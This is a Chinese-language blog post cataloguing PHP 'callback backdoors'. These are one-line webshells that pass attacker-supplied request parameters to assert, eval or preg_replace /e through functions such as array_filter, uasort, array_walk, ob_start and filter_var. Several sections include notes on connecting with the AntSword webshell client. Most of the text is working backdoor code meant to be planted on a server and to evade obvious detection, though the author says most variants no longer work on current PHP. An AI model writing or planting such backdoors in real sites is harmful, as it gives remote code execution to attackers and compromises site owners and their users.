PHP回调后门小总结
目录
1.call_user_func
函数说明
蚁剑连接
2.数组操作造成的单参数回调后门
array_filter
函数说明
蚁剑连接
array_map
函数说明
蚁剑连接
3.二参数回调函数
uasort
函数说明
uksort
array_reduce
array_udiff
蚁剑连接
4.三参数的回调后门
array_walk
函数说明
array_walk_recursive
mb_ereg_replace
preg_filter
蚁剑连接
5.无明显回调后门
ob_start
函数说明
6. 其他单参数后门
register_shutdown_function
egister_tick_function
filter_var/filter_var_array
7.其他参数型回调后门
preg_replace_callback
mb_ereg_replace_callback
1.call_user_func
函数说明
call_user_func(callable $callback, mixed ...$args): mixed
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
php中call_user_func是执行回调函数的标准方法,这是一个比较老的后门。
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用
call_user_func_array('assert',array( $_REQUEST['pass']));
assert作为回调函数,把参数数组作$_REQUEST['pass']为回调函数的的参数传入。
实际上这个函数就相当于assert($_REOUEST)
注意assert这个函数在php7.4以后的版本无法使用
蚁剑连接
但是当我们使用GET接参和不加eval函数时,我们为什么连接无法成功?
2.数组操作造成的单参数回调后门
array_filter
函数说明
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
遍历 array
数组中的每个值,并将每个值传递给 callback
回调函数,用指定函数过滤数组元素。
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));base64_decode($e)是回调函数,是assert(YXNzZXJ0)。assert要执行代码,执行的是$arr,$arr是从$_POST提交过来的
蚁剑连接
array_map
函数说明
array_map(?callable $callback, array $array, array ...$arrays): array
这个函数只是把回调函数放在了第一个参数的位置
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
蚁剑连接
这个函数的连接跟array_filter没有区别
3.二参数回调函数
assert(mixed $assertion, Throwable|string|null $description = null): bool
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
uasort
函数说明
uasort(array &$array, callable $callback): true
使用用户定义的比较函数对数组进行排序并保持索引关联
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));传入的'test', $_REQUEST['pass']都要交给回调函数去处理。
这个后门在php5.3时会报错,提示assert只能有一个参数。
面向对象的方法:
<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
uksort
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
array_reduce
array_reduce(array $array, callable $callback, mixed $initial = null): mixed
array_reduce() 将回调函数 callback
迭代地作用到 array
数组中的每一个单元中,从而将数组简化为单一的值。
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);数组,回调函数,参数
array_udiff
array_udiff(array $array, array ...$arrays, callable $value_compare_func): array
使用内置函数进行数据比较,对比 array
和其他一个或者多个数组,返回在 array
中但是不在其他 array 里的值。
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
蚁剑连接
以上几个函数都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。这里以array_reduce函数示例
4.三参数的回调后门
array_walk
函数说明
array_walk(array|object &$array, callable $callback, mixed $arg = null): true
将用户自定义函数 callback
应用到 array
数组中的每个单元。将用户自定义函数 callback
应用到 array
数组中的每个单元。
三个参数:preg_replace /e模式,所以我们要构造一个array_walk + preg_replace的回调后门
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, ' ');
preg_replace(
string|array$pattern
,
string|array$replacement
,
string|array$subject
,
int$limit
= -1,
int&$count
=null
): string|array|null搜索
subject
中匹配pattern
的部分,以replacement
进行替换。当使用被弃用的
e
修饰符时, 这个函数会转义一些字符 (即:'
、"
、\
和 NULL) 然后进行后向引用替换。preg_replace 使用了 /e 模式,导致了代码可以被执行。php7.3 版本之前 preg_replace使用/E模式,都会导致代码执行
在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。
我们使用array_walk写的回调后门,利用/e模式, '|.*|e'匹配$pass,那eval直接执行我们传入pass的值
相当于 e=preg_replace(|.*|e,$_POST['pass'],' ')-->eval($_POST['pass'])
array_walk_recursive
这个函数与上面的函数是一样的就不做说明了
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
mb_ereg_replace
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
preg_filter
<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');
蚁剑连接
以array_walk为例
5.无明显回调后门
ob_start
函数说明
ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool
打开输出控制缓冲
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();即使没输出,无法用蚁剑连接。但是实际代码是执行了的。也算作回调后门的一种。
可以利用file_put_contents把一句话木马写进去
6. 其他单参数后门
register_shutdown_function
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
egister_tick_function
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
filter_var/filter_var_array
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
7.其他参数型回调后门
回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
所以我们需要去“构造”一个满足条件的回调函数。
这就依赖于creat_function函数,但是这个函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。
preg_replace_callback
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
mb_ereg_replace_callback
<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
这些回调后门在2025的环境下基本全部失效,仅作参考